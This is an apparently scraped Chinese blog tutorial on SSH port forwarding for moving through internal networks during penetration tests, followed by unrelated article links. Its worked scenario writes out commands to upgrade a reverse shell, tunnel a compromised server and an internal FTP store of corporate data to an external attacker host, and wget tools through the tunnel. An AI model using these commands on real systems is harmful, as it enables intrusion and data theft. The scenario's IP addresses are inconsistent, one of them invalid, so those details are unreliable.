渗透测试过程中,经常遇到如下情形,内部网络主机通过路由器或者安全设备做了访问控制,无法通过互联网直接访问本地开放的服务,Windows方 面,国内通常选择Lcx.exe来进行端口转发,在应用方面大多数人也会选择reDuh来进行端口转发,而linux却很少人用系统自带的ssh、iptables自身来处理此类问题。

由于时间有限,本文只详细的介绍ssh tunnel方面的知识,iptables的有空再加上。

SSH的三个端口转发命令:
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host

-f Fork into background after authentication.
后台认证用户/密码,通常和-N连用,不用登录到远程主机。

-p port Connect to this port. Server must be on the same port.
被登录的ssd服务器的sshd服务端口。

-L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个socket 侦听port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和host 的hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个socket 侦听port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和host 的hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-D port
指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个socket 侦听port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持SOCKS4 协议, 将充当SOCKS4 服务器. 只有root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

-C Enable compression.
压缩数据传输。

-N Do not execute a shell or command.
不执行脚本或命令,通常与-f连用。

-g Allow remote hosts to connect to forwarded ports.
在-L/-R/-D参数中,允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接。注:这个参数我在实践中似乎始终不起作用)

如果想要了解更多关于SSH的细节,可以man ssh ,或参照ssh的DOC.

实例:
——————————————————————————
当骇客A从互联网入侵了RISUN企业的一台服务器,机器名称为GBOSS_WEB
GBOSS_WEB 信息:
外网IP:255.25.55.111
内网IP:10.168.0.10
网络架构方式为,路由将外网256.25.56.111的80端口映射到内网10.168.0.10的80端口上。

骇客A通过利用80端口开放服务的WEB脚本漏洞,成功继承到GBOSS_WEB的httpd权限,然后通过perl或者其它语言创建SOCKET 获得一个远程sh shell。由于back回来的shell可能不稳定,或者使用起来不方便,可以采用SSH建立一个隧道,将GBOSS_WEB服务器上的22端口映射至 骇客的本机上(本文章用于演示的骇客机为0x.cn);

通过得到的sh shell,执行$python -c ‘import pty; pty.spawn(”/bin/sh”)’ 获得一个ttyshell(因为ssh想要tty的支持),然后通过如下命令,映射GBOSS_WEB服务器的22端口至202.65.208.142的 44端口;
$ssh -C -f -N -g -R 44:127.0.0.1:22 ring04h@202.65.208.142
这样登录0x.cn的ssh服务,ssh -p 44 127.0.0.1 等同于连接GBOSS_WEB的22端口。

骇客A通过利用操作系统系统提升权限至ROOT,再继续渗透过程中,发现内网还存在另外一台名称为GBOSS_APP的服务器。
GBOSS_APP 信息:
内网IP:10.168.0.20

骇客通过嗅探获取了GBOSS_APP服务器的FTP信息,GBOSS_APP服务器FTP保存有RISUN企业的核心数据,由于数据量庞大,需要FTP续传功能,可通过SSH映射GBOSS_APP的21端口至0x.cn的2121端口;
$ssh -C -f -N -g -R 2121:10.168.0.20:21 ring04h@202.65.208.142

当骇客成功root掉内网中另一网段中的服务器BILL_APP时,需要从外网下载一些工具,由于内部访问控制策略,BILL_APP无法连接网, 此时可以通过映射外网服务器0x.cn的80端口至GBOSS_WEB的8888端口,然后通过GBOSS_WEB建立的隧道,下载所需工具。
在GBOSS_WEB服务器上执行:
$ssh -C -f -N -g user@10.168.0.10 -L 8888:202.65.208.142:80

通过建立隧道后,在BILL_APP上执行wget http://10.168.0.10:8888/thepl 等同于访http://202.65.208.142/thepl

LINUX之内网渗透提权的更多相关文章

  1. 内网渗透 - 提权 - Windows

    MS提权 MS16- MS16- 提权框架 Sherlock 信息收集 ifconfig -a cat /etc/hosts arp -a route -n cat /proc/net/* ping扫 ...

  2. Windows内网渗透提权的几个实用命令

    1.获取操作系统信息 查看所有环境变量:set 识别系统体系结构:echo %PROCESSOR_ARCHITECTURE%  AMD64 识别操作系统名称及版本:systeminfo 查看某特定用户 ...

  3. Enumy:一款功能强大的Linux后渗透提权枚举工具

    Enumy是一款功能强大的Linux后渗透提权枚举工具,该工具是一个速度非常快的可移植可执行文件,广大研究人员可以在针对Linux设备的渗透测试以及CTF的后渗透阶段利用该工具实现权限提升,而Enum ...

  4. Linux内网渗透

    Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...

  5. LINUX下渗透提权之嗅探技术

    内网渗透在攻击层面,其实更趋向于社工和常规漏洞检测的结合,为了了解网内防护措施的设置是通过一步步的刺探和经验积累,有时判断出错,也能进入误 区.但是如果能在网内进行嗅探,则能事半功倍,处于一个对网内设 ...

  6. 记录一次坎坷的linux内网渗透过程瞎折腾的坑

    版权声明:本文为博主的原创文章,未经博主同意不得转载. 写在前面 每个人都有自己的思路和技巧,以前遇到一些linux的环境.这次找来一个站点来进行内网,写下自己的想法 目标环境 1.linux  2. ...

  7. Linux内核通杀提权漏洞CVE-2016-5195验证

    一.漏洞简介 CVE-2016-5195这个漏洞是linux内核级的本地提权漏洞,原理是linux内核内存子系统在 处理私有只读存储映射的写入时复制机制发现了一个冲突条件.这个漏洞官方给出的影响范围是 ...

  8. 后渗透提权辅助工具BeRoot详解

    0x00 工具介绍 前言 BeRoot是一个后期开发工具,用于检查常见的Windows的配置错误,以方便找到提高我们提权的方法.其二进制编译地址为: https://github.com/Alessa ...

  9. Linux 用户管理和提权

    Linux ⽀持多个⼈使⽤同⼀个⽤户登录系统, Windows 在修改组策略的情况下,也可以多个⼈使⽤同⼀个⽤户登录 远程连接Linux的⽅式:SSH协议 远程连接Windows的⽅式:RDP协议 安 ...

随机推荐

  1. linux命令(11):df命令

    1.查看磁盘空间和当前的磁盘数:df –lh或者df –i 2.显示指定类型磁盘:df -t ext4 3.列出各文件系统的i节点使用情况:df  -ia 4.列出文件系统的类型:df -T

  2. git 查看父分支

    // 显示本地分支和服务器分支的映射关系 git branch -vv // 切换分支(和创建分支就差一个-b参数) git checkout {{branch_name}} // 创建新分支,新分支 ...

  3. linux下不解包查看tar包文件内容

    为减少日志文件占用的空间,很多情况下我们会将日志文件以天或周为周期打包成tar.gz 包保存.虽然这样做有利空间充分利用,但当我们想查看压缩包内的内容时确很不方便.如果只是一个tar.gz文件,可以将 ...

  4. [图解算法]线性时间选择Linear Select——<递归与分治策略>

    #include <ctime> #include <iostream> using namespace std; template <class Type> vo ...

  5. gulp-基本功能总汇

    研究了三天的gulp,今天做一个结束吧. 本次包含的功能有: html压缩 图片压缩 css压缩 js检测 js压缩 文件合并 文件更名 提示信息 编译less 创建服务器-浏览器实时刷新 因为我安装 ...

  6. logrotate日志轮转

    1)基本介绍 适合应用服务日志,系统日志按天切割 如果没有日志轮转,日志文件会越来越大 将丢弃系统中最旧的日志文件,以节省空间 logrotate本身不是系统守护进程,它是通过计划任务crond每天执 ...

  7. hdu 4135 Co-prime (素数打表+容斥原理)

    题目链接 题意:问从A到B中与N互素的个数. 题解: 利用容斥原理:先求出与n互为素数的个数. 可以先将 n 进行素因子分解,然后用区间 x 除以 素因子,就得到了与 n 的 约数是那个素因子的个数, ...

  8. LOJ #6284. 数列分块入门 8-分块(区间查询等于一个数c的元素,并将这个区间的所有元素改为c)

    #6284. 数列分块入门 8 内存限制:256 MiB时间限制:500 ms标准输入输出 题目类型:传统评测方式:文本比较 上传者: hzwer 提交提交记录统计测试数据讨论 2   题目描述 给出 ...

  9. 680. Valid Palindrome II【Easy】【双指针-可以删除一个字符,判断是否能构成回文字符串】

    Given a non-empty string s, you may delete at most one character. Judge whether you can make it a pa ...

  10. 35、Flask实战第35天:权限设计

    二进制及其相关运算 认识二进制 0,1,2,3,4,5,6,7,8,9,10:逢10进1 0,1:逢2进1 二进制转十进制 十进制 二进制 0 0 1 1 2 10 3 11 4 100 255 11 ...